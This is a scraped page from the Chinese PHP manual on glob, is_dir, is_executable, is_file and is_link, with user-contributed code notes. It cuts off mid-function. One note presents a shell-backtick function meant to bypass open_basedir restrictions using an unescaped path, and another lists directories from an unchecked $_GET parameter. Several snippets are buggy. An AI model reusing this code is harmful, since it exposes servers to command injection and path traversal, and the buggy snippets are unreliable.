It supports * and ? jokers, and stacking of parameters with ;

So you can do

<? $results=glob('/home/user/*.txt;*.doc') ?>

And it will return an array of matched files.

As is the behaviour of the built-in glob function, this one will also return boolean false if no matches are found, and will use the current working directory if none is specified.

<?php
if(!(function_exists('glob')))
{function glob($pattern)
 {#get pathname (everything up until the last / or \)
  $path=$output=null;
  if(PHP_OS=='WIN32')
   $slash='\\';
  else
   $slash='/';
  $lastpos=strrpos($pattern,$slash);
  if(!($lastpos===false))
  {$path=substr($pattern,0,-$lastpos-1); #negative length means take from the right
   $pattern=substr($pattern,$lastpos);
  }
  else
  {#no dir info, use current dir
   $path=getcwd();
  }
  $handle=@ opendir($path);
  if($handle===false)
   return false;
  while($dir=readdir($handle))
  {if(pattern_match($pattern,$dir))
   $output[]=$dir;
  }
  closedir($handle);
  if(is_array($output))
   return $output;
  return false;
 }

 function pattern_match($pattern,$string)
 {#basically prepare a regular expression
  $out=null;
  $chunks=explode(';',$pattern);
  foreach($chunks as $pattern)
  {$escape=array('$','^','.','{','}',
                 '(',')','[',']','|');
   while(strpos($pattern,'**')!==false)
   $pattern=str_replace('**','*',$pattern);
   foreach($escape as $probe)
   $pattern=str_replace($probe,"\\$probe",$pattern);
   $pattern=str_replace('?*','*',
             str_replace('*?','*',
             str_replace('*',".*",
               str_replace('?','.{1,1}',$pattern))));
   $out[]=$pattern;
  }
  if(count($out)==1)
   return(eregi("^$out[0]$",$string));
  else
   foreach($out as $tester)
   if(eregi("^$tester$",$string))
     return true;
   return false;
 }
}
?>

This function is case insensitive, but if needed, you can do this to make it behave depending on os:

* replace eregi in the example with my_regexp

add this function
<?php
function my_regexp($pattern,$probe)
{$sensitive=(PHP_OS!='WIN32');
  $sensitive=false;
 return ($sensitive?
     ereg($pattern,$probe):
     eregi($pattern,$probe));
}
?>
mjs15451 at hotmail dot com
18-Jun-2005 06:03
In regards to the comments made by: NOSPAM sketch at infinite dot net dot au, he is wrong about Unix/Linux (I can't speak for Windows).  I am running PHP 5.0.4 and I ran a bunch of different tests on relative and absolute paths using the glob function and they all work on Unix/Linux.  I also tested glob on empty directories and patterns which don't match any files (even directories or files which don't exist) and it __always__ returns an empty array.  I couldn't get the glob function to return false so it looks like it always returns an array.
Michael T. McGrew
17-May-2005 10:12
Take all file names in the directory and put them in a link.
<?php
foreach (glob("*.*") as $filename)
{
   echo "<a href=\"".$filename."\">".$filename."</a><br/>";
}
?>
cgamedude at yahoo dot com
05-May-2005 06:38
Here is the *correct* way to do a reverse-alphabetical search:
<?
$Results = glob( 'blah.*' );
rsort( $Results );
?>
There now, wasn't that easy? :)
Deviant
05-Apr-2005 07:53
A slight edit on the globr() function stated by sthomas. This does exactly the same just works on windows systems for < PHP 4.3.3. :

<?php

function globr($sDir, $sPattern, $nFlags = NULL) {
   $aFiles = glob("$sDir/$sPattern", $nFlags);
   $files = getDir($sDir);
   if (is_array($files)) {
       foreach( $files as $file ) {
           $aSubFiles = globr($file, $sPattern, $nFlags);
           $aFiles = array_merge($aFiles,$aSubFiles);
       }
   }
   return $aFiles;
}

function getDir($sDir) {
   $i=0;
   if(is_dir($sDir)) {
       if($rContents = opendir($sDir)) {
           while($sNode = readdir($rContents)) {
               if(is_dir($sDir.'/'.$sNode )) {
                   if($sNode !="." && $sNode !="..") {
                       $aDirs[$i] = $sDir.'/'.$sNode ;
                       $i++;
                   }
               }
           }
       }
   }
   return $aDirs;
}

?>
cjcommunications at gmail dot com
01-Apr-2005 09:02
Here is a way I used glob() to browse a directory, pull the file name out, resort according to the most recent date and format it using date(). I called the function inside a <select> and had it go directly to the PDF file:

function browsepdf(){
   $pdffile=glob("printable/*.pdf");
   rsort($pdffile);
   foreach($pdffile as $filename){
       $filename=ltrim($filename, "printable/");
       $filename=rtrim($filename, ".pdf");
       $file=$filename;
       $datetime=strtotime($filename);
       $newdate=strtotime("+3 days",$datetime);
       $filenamedate=date("F d", $datetime);
       $filenamedate.=" - ".date("F d, Y", $newdate);
       echo "<option value='$file'>$filenamedate</option>";
   }
}
fraggy(AT)chello.nl
24-Mar-2005 07:23
glob caused me some real pain in the buttom on windows, because of the DOS thing with paths (backslashes instead of slashes)...

This was my own fault because I "forgot" that the backslash, when used in strings, needs to be escaped, but well, it can cause a lot of confusion, even for people who are not exactly newbies anymore...

For some reason, I didn't have this problem with other file operations (chdir, opendir, etc...), which was the most confusing of all...

So, for people running scripts on Windows machines (Dos95, 98 or WinNT or DosXP), just remember this:

glob('c:\temp\*.*'); // works correctly, returns an array with files.
glob("c:\temp\*.*"); // does NOT work... the backslashes need to be escaped...
glob("c:\\temp\\*.*"); // that works again...

This is especially confusing when temporary writable directories are returned as an unescaped string.

$tempdir = getenv('TEMP');
// this returns "C:\DOCUME~1\user\LOCALS~1\Temp"
so in order to scan that directoy I need to do:

glob($tempdir . "\\*.*");

Or perhaps it's easier to replace all backslashes with slashes in order to avoid these kinds of confusions...

glob("c:/temp/*.*"); // works fine too...

I know I'm not contributing anything new here, but I just hope this post may avoid some unnecessary headaches...
NOSPAM sketch at infinite dot net dot au
15-Mar-2005 09:05
in the example below, i found i got an error if the directory was empty.

<?php
foreach (glob("*.txt") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
}
?>

I think its because glob()'ing an empty directory returns false, and so calling foreach (false as $value) will obviously break.

to fix this, i did the following:
<?php
$files = glob("*.txt) or array(); // give it an empty array if the directory is empty or glob fails otherwise
   echo "$filename size " . filesize($filename) . "n";
}
?>

Hope this helps someone
30-Jan-2005 06:09
Be aware...

On Windows you need to add "/" mark:
<?php
$files = glob("/dir/*.txt"); // Works properly.
$files = glob("dir/*.txt"); // Failure!, first letter is missing on every filename!
?>

On Unix you cant add the "/" mark:
<?php
$files = glob("dir/*.txt"); // Works properly.
$files = glob("/dir/*.txt"); // No files found!
?>

Hope this will save your time :)
24-Jan-2005 05:54
The example on this page will generate a warning if the glob function does not find any filenames that match the pattern.

The glob function result will only be an array if it finds some files and the foreach statement requires its argument to be an array.

By checking for the possibility that the result of the glob function may not be an array you can eliminate the warning.

Here's a better example:

<?php
$matches = glob("*.txt");
if ( is_array ( $matches ) ) {
   foreach ( $matches as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
   }
}
?>
Paul Gregg / Qube #efnet
31-Mar-2004 09:52
Just threw this together in response to a common question in irc:

Available at: http://www.pgregg.com/projects/
http://www.pgregg.com/projects/php/code/preg_find.phps

preg_find() - A function to search in a directory for files or directories matching a preg_ pattern.  Tell it the pattern, the start directory and some optional flags and it will return an array of files and their associated stat() details.  If you just want the filenames, just do an array_keys() on the result.

e.g. $files = preg_find("/\.php$/", '.', PREG_FIND_RECURSIVE);
will find all files ending in .php in the current directory and below.

Options are:
// PREG_FIND_RECURSIVE  - go into subdirectorys looking for more files
// PREG_FIND_DIRMATCH  - return directorys that match the pattern also
// PREG_FIND_FULLPATH  - search for the pattern in the full path (dir+file)
// PREG_FIND_NEGATE    - return files that don't match the pattern
// to use more than one simple seperate them with a | character

Hope you find it useful.

Paul.
Per Lundberg
25-Nov-2003 11:57
Be aware that on UNIX, * as the pattern will *not* match dot-files and dot-directories.  Knowing this will save you some headache.  :-)  May He bless you.
MichaelSoft
06-Nov-2003 07:28
Note that, in some configurations, the search is case-sensitive! You'll need to have something like:

<?php
$images = glob("/path/to/images/{*.jpg,*.JPG}", GLOB_BRACE);
?>

Also on some servers, I have seen such scripts 'crash' with an CGI Error ("...not returning a complete set of HTTP headers...") when glob could not find any match!
ryan at wonko dot com
30-Oct-2003 03:03
Here's an example of how to use the GLOB_BRACE flag:

<?php
$images = glob("/path/to/images/{*.gif,*.jpg,*.png}", GLOB_BRACE);
?>

It's also worth noting that when using the GLOB_BRACE flag in any version of PHP prior to 4.3.4, PHP will crash if no matches are found.
sthomas at townnews dot com
12-Mar-2003 07:41
<?php
/**
 * Recursive version of glob
 *
 * @return array containing all pattern-matched files.
 *
 * @param string $sDir      Directory to start with.
 * @param string $sPattern  Pattern to glob for.
 * @param int $nFlags      Flags sent to glob.
 */
function globr($sDir, $sPattern, $nFlags = NULL)
{
  $sDir = escapeshellcmd($sDir);

  // Get the list of all matching files currently in the
  // directory.

  $aFiles = glob("$sDir/$sPattern", $nFlags);

  // Then get a list of all directories in this directory, and
  // run ourselves on the resulting array.  This is the
  // recursion step, which will not execute if there are no
  // directories.

  foreach (glob("$sDir/*", GLOB_ONLYDIR) as $sSubDir)
  {
   $aSubFiles = rglob($sSubDir, $sPattern, $nFlags);
   $aFiles = array_merge($aFiles, $aSubFiles);
  }

  // The array we return contains the files we found, and the
  // files all of our children found.

  return $aFiles;
}

?>
martin dot rode at zeroscale dot com
20-Feb-2003 03:37
If you don't have PHP >= 4.3 available and don't want to hassle with PHP (:-) do something like this on GNU/Linux:

<?php
foreach (explode("\n",`find -type d -maxdepth 1 ! -name ".*" -printf "%f\n" `) as $dirname) {
   print $dirname;
}
?>

With the "find" you can "glob" whatever you like.
tmm at aon dot at
22-Dec-2002 08:50
I have written my own function for searching files, but it only supports ? and *
However it should be easily expandable.

<?php
// e.g. $matches=GetMachingFiles(GetContents("."),"*.txt");
function GetMatchingFiles($files, $search) {

   // Split to name and filetype
   if(strpos($search,".")) {
     $baseexp=substr($search,0,strpos($search,"."));
     $typeexp=substr($search,strpos($search,".")+1,strlen($search));
   } else {
     $baseexp=$search;
     $typeexp="";
   }

   // Escape all regexp Characters
   $baseexp=preg_quote($baseexp);
   $typeexp=preg_quote($typeexp);

   // Allow ? and *
   $baseexp=str_replace(array("\*","\?"), array(".*","."), $baseexp);
   $typeexp=str_replace(array("\*","\?"), array(".*","."), $typeexp);

   // Search for Matches
   $i=0;
   foreach($files as $file) {
     $filename=basename($file);

     if(strpos($filename,".")) {
       $base=substr($filename,0,strpos($filename,"."));
       $type=substr($filename,strpos($filename,".")+1,strlen($filename));
     } else {
       $base=$filename;
       $type="";
     }

     if(preg_match("/^".$baseexp."$/i",$base) && preg_match("/^".$typeexp."$/i",$type))  {
       $matches[$i]=$file;
       $i++;
     }
   }
   return $matches;
}

And if someone's searching for a function which gets all files from a directory including the subdirectories:

// Returns all Files contained in given dir, including subdirs
function GetContents($dir,$files=array()) {
  if(!($res=opendir($dir))) exit("$dir doesn't exist!");
  while(($file=readdir($res))==TRUE)
   if($file!="." && $file!="..")
     if(is_dir("$dir/$file")) $files=GetContents("$dir/$file",$files);
       else array_push($files,"$dir/$file");

  closedir($res);
  return $files;
}

?>
leon at leonatkinson dot com
18-Oct-2002 09:03
Since this function is a wrapper for the OS function of the same name, you may find it helpful to look at the man page while the exact PHP implementation is sorted out.

You might have some luck passing in the literal values of the constants defined in /usr/include/glob.h.  For example, GLOB_NOSORT is defined as (1 << 2), which is 4.  In PHP, glob('*.php', 4) will returns an unsorted list for me in RH 7.x.  YMMV.
opessin at ifrance dot com
07-Jul-2002 06:48
If this function is not available in your version of PHP, think looking at the 'Directory Functions' which can be used instead.
http://www.php.net/manual/en/ref.dir.php
add a note add a note

后退 | 起点 | 前进
fwrite | 上一级 | is_dir


is_dir

(PHP 3, PHP 4, PHP 5)

is_dir -- 判断给定文件名是否是一个目录

说明

bool is_dir ( string filename )

如果文件名存在并且为目录则返回 TRUE。如果 filename 是一个相对路径，则按照当前工作目录检查其相对路径。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

例子 1. is_dir() 例子

<?
var_dump(is_dir('a_file.txt')) . "\n";
var_dump(is_dir('bogus_dir/abc')) . "\n";

var_dump(is_dir('..')); //one dir up
?>

上例将输出：

bool(false)
bool(false)
bool(true)

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 chdir()，dir，opendir()，is_file() 和 is_link()。

add a note add a note User Contributed Notes
dmertens-php-note at zyprexia dot com
24-Sep-2005 11:53
Remember that the owner of the directory has to be the same of the script user, otherwise this function will always return false when PHP is running in safe_mode..
fanfatal at fanfatal dot pl
03-Jul-2005 12:04
Hi
I wrote an usefull function to check is directory exists in directory's tree ;)

<?php
/*
 *    Function to check recursively if dirname is exists in directory's tree
 *
 *    @param string $dir_name
 *    @param string [$path]
 *    @return bool
 *    @author FanFataL
 */
function dir_exists($dir_name = false, $path = './') {
   if(!$dir_name) return false;

   if(is_dir($path.$dir_name)) return true;

   $tree = glob($path.'*', GLOB_ONLYDIR);
   if($tree && count($tree)>0) {
       foreach($tree as $dir)
           if(dir_exists($dir_name, $dir.'/'))
               return true;
   }

   return false;
}
?>

Greatings ;)
...
07-Jun-2005 02:30
With error reporting set to all, and you attempt to do:
echo var_dump(is_dir('bogus_dir/abc'));

as output you will get:
Warning: stat failed for bogus_dir/abc (errno=2 - No such file or directory) in test.php on line 12
bool(false)

If you want to use this with an error reporting level set to all, you will need to use @ to supress the generated error
akashif at freezone dot co dot uk
03-Jun-2005 07:50
just a simple script to for those who dont have the IIS or Apache Dirlisting available , this will make onr for you

<?php
$DirPath=$_GET['DirPath'];
if($DirPath=="")
{
   $DirPath='./';
}
if (($handle=opendir($DirPath)))
{
   while ($node = readdir($handle))
   {
       $nodebase = basename($node);
       if ($nodebase!="." && $nodebase!="..")
       {
           if(is_dir($DirPath.$node))
           {
               $nPath=$DirPath.$node."/";
               echo "-> -> -> <a href='dir.php?DirPath=$nPath'>$node</a><br>";
           }
           else
           {
               echo "<a href='$node'>$node</a><br>";
           }
       }
   }
}

?>
renich at woralelandia dot com
22-Apr-2005 02:45
Here goes a PHP5.0 link-to-directory listing function and examples

<?php

//List directories only
function list_dirs($path, $target)
{
   $list = scandir($path);

   foreach ($list as $number => $filename)
   {
       if ( $filename !== '.' && $filename !== '..' && is_dir("$path/$filename") )
       {
           // Asign more readable and logic variables
           $dir = $filename;
           $url = apache_request_headers();

           if ($target == '')
           {
               // Print Dirs with link
               print ("<a href=\"http://$url[Host]/$path/$dir\">$dir</a> <br>\n");
           }
           else
           {
               // Print Dirs with link
               print ("<a href=\"http://$url[Host]$dir\" target=\"$target\">$dir</a> <br>\n");
           }

       }
   }
}

?>

1.- List current directory's directories with no target property.

<?php

list_dirs('.','')

?>

2.- List "libraries" in "pma2" located at my dir with a "_blank" target set

<?php

list_dirs('pma2/libraries','_blank');

?>

or

<?php

list_dirs('/var/www/html/pma2/libraries','_blank');

?>

3.- List all the directories located at the "/Home" dir with "_me" as target.

<?php

list_dirs('/home', ''_me');

?>

I hope you all like it!

Note:
Obviously, the links will now work if the're not in the apache dir... ("htdocs", "html", "www", whatever)
dusted19 at hotmail dot com
20-Mar-2005 06:38
While working on a php project (my first one =( ).  I ran into a bug using is_dir() on my winxp w/ servicepack 2 system.  I'm using php 4.3.10.. the problem is whenever i pass is_dir() a pathname that is longer then 256 characters long it will ALWAYS return true.

CODE:

<?php

// Path to multimedia files
$mpath = "E:\\armoury\\";
ls($mpath);

//echo "MP3 Listing:<br/><br/>";

function ls ($curpath) {
   $dir = dir($curpath);
   echo("<b>$curpath</b>");
   echo "<blockquote>";
   while ($file = $dir->read()) {
                   echo(" <b>");
                   echo(strlen($curpath.$file));
                   echo("</b> ");
           if($file != "." && $file != "..") {
               if (is_dir($curpath.$file)) {
                   ls($curpath.$file."\\");
               } else {
                   echo(" $file<br>");
               }

           }

//      }
   }
   $dir->close();
   echo "</blockquote>";
   return;
}

?>

This is the output.. the number preceding the file/directory is the number of characters in it's full path name.  You can see where it trips up at:

 257 E:\armoury\[ hiphop - dub - reggae - soul ]\A Tribe Called Quest - 1990 - People's Instinctive Travels And The Paths Of Rhythm\A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 10 - Rhythm (Devoted To The Art Of Moving Butts).mp3

The pathname is greater then 256 characters.

229 A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 07 - Bonita Applebum.mp3
227 A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 08 - Can I Kick It.mp3
233 A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 09 - Youthful Expression.mp3
257 E:\armoury\[ hiphop - dub - reggae - soul ]\A Tribe Called Quest - 1990 - People's Instinctive Travels And The Paths Of Rhythm\A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 10 - Rhythm (Devoted To The Art Of Moving Butts).mp3\
259 260 267 E:\armoury\[ hiphop - dub - reggae - soul ]\A Tribe Called Quest - 1990 - People's Instinctive Travels And The Paths Of Rhythm\A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 10 - Rhythm (Devoted To The Art Of Moving Butts).mp3\index.php\
269 270 277 E:\armoury\[ hiphop - dub - reggae - soul ]\A Tribe Called Quest - 1990 - People's Instinctive Travels And The Paths Of Rhythm\A Tribe Called Quest - People's Instinctive Travels And The Paths Of Rhythm - 10 - Rhythm (Devoted To The Art Of Moving Butts).mp3\index.php\index.php\

Try it yourself on a large directory structure.
flobee
14-Mar-2005 10:13
note: like the main example already shows. tooks me houres to understand und using chdir() to get a full dir scann (especilly on windows and "mounted" network drives)

never forget the tailing slash to find out if you have a directory or not.
<?php
function parse_dir($dir) {
   if ($dh = @opendir($dir)) {
       while(($file = readdir($dh)) !== false) {
           if( !preg_match('/^\./s', $file) )  {
               if(is_dir($dir.$file)) {
                   $newdir = $dir.$file.'/'; // <- tailing slash
                   chdir($newdir);
                   echo "IS DIR: $newdir\n";
                   echo parse_dir($newdir);
               } else {
                   echo $dir.$file."\n";
               }
           }
       }
       chdir('..');
   }
}
parse_dir('z:/myfolder/mysubfolder/');

?>
puremango dot co dot uk at gmail dot com
09-Feb-2005 03:55
this function bypasses open_basedir restrictions.
<?
function my_is_dir($dir)
{
   // bypasses open_basedir restrictions of is_dir and fileperms
   $tmp_cmd = `ls -dl $dir`;
   $dir_flag = $tmp_cmd[0];
   if($dir_flag!="d")
   {
       // not d; use next char (first char might be 's' and is still directory)
       $dir_flag = $tmp_cmd[1];
   }
   return ($dir_flag=="d");
}
?>

example:
<?
....
echo is_dir("/somewhere/i/dont/have/access/to");
?>
output:
Warning: open_basedir restriction in effect

<?
....
echo my_is_dir("/somewhere/i/dont/have/access/to");
?>
output:
true (or false, depending whether it is or not...)

---
visit puremango.co.uk for other such wonders
03-Feb-2005 08:12
Unfortunately, the function posted by p dot marzec at bold-sg dot pl does not work.
The corrected version is:

// returns true if folder is empty or not existing
// false if folde is full

function is_empty_folder($dir) {
if (is_dir($dir)) {
   $dl=opendir($dir);
   if ($dl) {
       while($name = readdir($dl)) {
   if (!is_dir("$dir/$name")) { //<--- corrected here
       return false;
       break;
       }
   }
       closedir($dl);
       }
   return true;
   } else return true;
}
tibard at gmail dot com
02-Feb-2005 04:32
use this function to get all files inside a directory (including subdirectories)

<?php
function scan_Dir($dir) {
   $arrfiles = array();
   if (is_dir($dir)) {
       if ($handle = opendir($dir)) {
           chdir($dir);
           while (false !== ($file = readdir($handle))) {
               if ($file != "." && $file != "..") {
                   if (is_dir($file)) {
                       $arr = scan_Dir($file);
                       foreach ($arr as $value) {
                           $arrfiles[] = $dir."/".$value;
                       }
                   } else {
                       $arrfiles[] = $dir."/".$file;
                   }
               }
           }
           chdir("../");
       }
       closedir($handle);
   }
   return $arrfiles;
}

?>
rchavezc at ameritech dot net
13-Dec-2004 12:19
This is the function that I use to test for an empty directory:

<?php
function is_emtpy_dir($dirname){

// Returns true if  $dirname is a directory and it is empty

   $result=false;                      // Assume it is not a directory
   if(is_dir($dirname) ){
       $result=true;                  // It is a directory
       $handle = opendir($dirname);
       while( ( $name = readdir($handle)) !== false){
               if ($name!= "." && $name !=".."){
             $result=false;        // directory not empty
             break;                  // no need to test more
           }
       }
       closedir($handle);
   }
   return $result;
}
?>
bhuskins at nospam dot christian-horizons dot org
13-Aug-2004 04:51
'Is_empty_folder' posted by andreas at rueping dot net is a nice function. It did give me some grief, though. I don't beleive that it actually closes the directory when it's done (closedir in the wrong spot). I changed it slightly to be the following:

// returns true if folder is empty or not existing
// false if folde is full

<?
function is_emtpy_folder($folder){
   if(is_dir($folder) ){
       $handle = opendir($folder);
       while( (gettype( $name = readdir($handle)) != "boolean")){
               $name_array[] = $name;
       }
       foreach($name_array as $temp)
           $folder_content .= $temp;

       closedir($handle);//<--------moved this
       if($folder_content == "...") {
           return true;
       } else {
           return false;
       }
   }
   else
       return true; // folder doesnt exist
}
?>
sly at noiretblanc dot org
29-May-2004 01:10
This is the "is_dir" function I use to solve the problems :

function Another_is_dir ($file)
{
   if ((fileperms("$file") & 0x4000) == 0x4000)
       return TRUE;
   else
       return FALSE;
}

or, more simple :

function Another_is_dir ($file)
{
return ((fileperms("$file") & 0x4000) == 0x4000);
}

I can't remember where it comes from, but it works fine.
p dot marzec at bold-sg dot pl
14-Mar-2004 11:33
Simplest version 'is_empty_folder' posted by andreas at rueping dot net

// returns true if folder is empty or not existing
// false if folde is full

function is_empty_folder($dir) {
if (is_dir($dir)) {
   $dl=opendir($dir);
   if ($dl) {
       while($name = readdir($dl)) {
   if (!is_dir($name)) {
       return false;
       break;
       }
   }
       closedir($dl);
       }
   return true;
   } else return true;
}
andreas at rueping dot net
24-Sep-2003 08:29
function checks if a folder is empty or not. Retruns "true" if it is empty and "false" if it is full with data. Also if the folder doesnt even exist, function returns "true".

--------------------------------------------------
--------------------------------------------------

// returns true if folder is empty or not existing
// false if folde is full

<?
function is_emtpy_folder($folder){
   if(is_dir($folder) ){
       $handle = opendir($folder);
       while( (gettype( $name = readdir($handle)) != "boolean")){
               $name_array[] = $name;
       }
       foreach($name_array as $temp)
           $folder_content .= $temp;

       if($folder_content == "...")
           return true;
       else
           return false;

       closedir($handle);
   }
   else
       return true; // folder doesnt exist
}
?>
add a note add a note

后退 | 起点 | 前进
glob | 上一级 | is_executable


is_executable

(PHP 3, PHP 4, PHP 5)

is_executable -- 判断给定文件名是否可执行

说明

bool is_executable ( string filename )

如果文件存在且可执行则返回 TRUE。

is_executable() 自 PHP 5.0.0 版起可用于 Windows。

例子 1. is_executable() 例子

<?php

$file = '/home/vincent/somefile.sh';

if (is_executable($file)) {
    echo $file.' is executable';
} else {
    echo $file.' is not executable';
}

?>

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 is_file() 和 is_link()。

add a note add a note User Contributed Notes
Buuyo
06-Aug-2004 06:51
The change doesn't appear to be documented, so I thought I would mention it. In php5, as opposed to php4, you can no longer rely on is_executable to check the executable bit on a directory in 'nix. You can still use the first note's method to check if a directory is traversable:
     @file_exists("adirectory/.");
david at littlesystems dot com dot au
02-Jun-2002 02:38
to test whether the directory /home/david is executable (regardless of whether it is readable or writeable), issue the command:
$my_isWriteable = @file_exists("/home/david/.")

the @ gets rid of the warning when this command fails when the directory is not executable.
drtebi at hotmail dot com
10-Feb-2001 12:12
[Editor's Note: This is the expected behavior (at least on most Unix-like systems).  If a directory is not executable, then you cannot get details on the files in the directory - this includes the permissions.

--zak@php.net]

This does not work on directories!
look at this example:

if(is_file("foo/bar"))
  print "found it";

if "bar" exists, but directory "foo" is not executable, you will NOT get "found it" as result.
add a note add a note

后退 | 起点 | 前进
is_dir | 上一级 | is_file


is_file

(PHP 3, PHP 4, PHP 5)

is_file -- 判断给定文件名是否为一个正常的文件

说明

bool is_file ( string filename )

如果文件存在且为正常的文件则返回 TRUE。

例子 1. is_file() 例子

<?php
var_dump(is_file('a_file.txt')) . "\n";
var_dump(is_file('/usr/bin/')) . "\n";
?>

上例将输出：

bool(true)
bool(false)

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 is_dir() 和 is_link()。

add a note add a note User Contributed Notes
gszauer at swfla dot rr dot com
16-Mar-2006 09:41
If you have 2 parts to the file name, like i have this might help:

<?php
           if (is_file('wizard/data/'.$result['p1'])) {
           echo'<img src="http://yourcapecoral.com/wizard/data/'.$result['p1'].'" width="200" height="162" border="0>';
           }else{
           echo'';
           }
           ?>
Emin Sadykhov (azdg_nospam at azdg dot com)
12-Dec-2005 09:57
File operations such as is_file (also is_dir, opendir, readdir) work slower with Absolute paths - processing time is increase in 2-3 times.

Current rule is actual only for PHP5 (tested on 5.0.4, 5.1.1, Windows and Linux, 1st and 2nd Apache)

Try to use relative paths in these operators.

Example tested on my machine:
<?php
# note: in the both conditions file really exists!

# WIN XP, PHP4
# processing time: ~ 0.0003 sec.
if(is_file("images/10.jpg")) echo 'file exists';

# processing time: ~ 0.0002 sec. !!!
if(is_file("C:/server/htdocs/mysite/images/10.jpg")) echo 'file exists';

# WIN XP, PHP5
# processing time: ~ 0.0004 sec.
if(is_file("images/10.jpg")) echo 'file exists';

# processing time: ~ 0.0010 sec.
if(is_file("C:/server/htdocs/mysite/images/10.jpg")) echo 'file exists';
?>
Jonathan Shaltz
15-Oct-2005 01:23
Maybe this is a newbie mistake, but note that paths are relative to the filesystem and the location of the script.  This means that MS IIS virtual directories are not available by relative path - use an absolute.
This threw me because virtual directories ARE available for URLs, at least on IIS.
bill fumerola
31-Aug-2005 09:45
be careful, is_file() fails on files larger than your integer storage (2^32 for most).

Warning: is_file(): Stat failed for bigfile (errno=75 - Value too large for defined data type)
mariodivece at bytedive dot com
23-Aug-2005 06:06
Hi... just a neat way of showing up file icons that correspond to their mimetypes

Here's the code:
<?php
function mimetypeicon($mimetype) {
   $newmime = str_replace('/','-',$mimetype);

   if(is_file('images/16x16/gnome-mime-'.$newmime.'.png')) {
       return 'images/16x16/gnome-mime-'.$newmime.'.png';
   }
   else {
       //The mimetype icon was not found
       return 'images/16x16/gnome-mime-text.png';
   }
}
?>
punknroll at gmx dot at
11-Aug-2005 11:11
is_file returns false if you don't have the permissions for the file or the directory (eg.: you are web34 and the directory belongs to root)!
kkrizka at gmail dot com
05-Jun-2005 01:03
The following will "guess" if something is a file in case it is not availible.

function isfile($page) {
  //get the top file/dir
  $file=basename($page);

  // ends in a slash, so is a dir
  if(substr($file,strlen($file)-1)=='/') {
   return false;
  }

  //find all dots
  $a=explode('.',$file);
  //there is a dot, means it is a file with a extension
  //beware of http://www.site.com
  if(count($a)>1) {
   return true;
  } else {
   return false
  }
}
09-Mar-2005 01:02
### Symbolic links are resolved ###

If you pass a symlink (unix symbolic link) as parameter, is_file will resolve the symlink and will give information about the refered file. For example:

  touch file
  ln -s file link
  echo '<? if (is_file("link")) echo "y\n"; ?>' | php -q

will print "y".

is_dir resolves symlinks too.
ludvig dot ericson at gmail dot com
26-Oct-2004 02:06
I tend to use alot of includes, and I found that the is_file is based on the script executed, not ran.
if you request /foo.php and foo.php looks like this:
<?php
include('foobar/bar.php');
?>
and bar.php looks like this:
<?php
echo (is_file('foo/bar.txt'));
?>

Then PHP (on win32, php 5.x) would look for /foo/bar.txt and not /foobar/foo/bar.txt.
you would have to rewrite the is_file statement for that, or change working directory.
Noting this since I sat with the problem for some time,

cheers, Toxik.
rehfeld.us
04-Sep-2004 06:04
regarding rlh at d8acom dot com method,

It is incorrect. Well, it works but you are not guaranteed the file extension using that method.

for example :  filename.inc.php

your method will tell you the ext is "inc", but it is in fact "php"

heres a way that will work properly.

<?php

$dh = opendir($dir);

while (false !== ($document = readdir($dh))) {
   $pos = strrpos($document, '.');
   if (false !== $pos && strlen($document) > $pos + 1) {
       $ext = substr($document, $pos + 1);
   }
}

?>
rlh at d8acom dot com
12-Feb-2003 09:17
I do a lot of file parsing and have found the following technique extremely useful:

while (false !== ($document = readdir($my_dir)))
{
   $ext=explode('.',$document);
   if($document != '.' && $document != '..' && $ext[1])
   {
                       'Do something to file...'
             }
}

It gets around the fact that, when working on website pages, the html files are read as directories when downloaded. It also allows you to extend the usefulness of the above method by adding the ability to determine file types e.g.

if($document != '.' && $document != '..' && $ext[1]=='htm')
or
if($document != '.' && $document != '..' && $ext[1]=='doc')
andreas dot stagl at fits dot at
28-Mar-2002 03:34
if you're running apache as a service on a win32 machine, an you try to determinate if a file on an other pc in your network exists - ex.: is_file('//servername/share/dir1/dir2/file.txt') - you may return false when you're running the service as LocalSystem. To avoid this, you have to start the Apache-Service as a 'registered' domain user.
quietust at ircN dot org
14-Dec-2001 12:20
In PHP 4.1.0 under win32, this seems to print out a warning message if the file does not exist (using error_reporting = E_ALL & ~E_NOTICE).
amraam at ao dot net
12-Mar-2000 10:56
It seems that is_file doesn't return true for a file that is 0 bytes.  Perhaps it is something with the file system.  I am using IIS 3.0 on an NT4 box.  I worked around it using !is_dir($filename) but that seems a clunky way to do it.
add a note add a note

后退 | 起点 | 前进
is_executable | 上一级 | is_link


is_link

(PHP 3, PHP 4, PHP 5)

is_link -- 判断给定文件名是否为一个符号连接

说明

bool is_link ( string filename )

如果文件存在并且是一个符号连接则返回 TRUE。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 is_dir()，is_file() 和 readlink()。

add a note add a note User Contributed Notes
brendy at gmail dot com
06-May-2006 10:22
On Mac OSX, to see if a file is a FInder alias:

<?PHP
if( getFinderAlias( $someFile , $target ) ) {
 echo $target;
}
else {
 echo "File is not an alias";
}

function getFinderAlias( $filename , &$target ) {
$getAliasTarget = <<< HEREDOC
    -- BEGIN APPLESCRIPT --
   set checkFileStr to "{$filename}"
   set checkFile to checkFileStr as POSIX file
   try
       tell application "Finder"
           if original item of file checkFile exists then
               set targetFile to (original item of file checkFile) as alias
               set posTargetFile to POSIX path of targetFile as text
               get posTargetFile
           end if
       end tell
   end try
   -- END APPLESCRIPT --
HEREDOC;
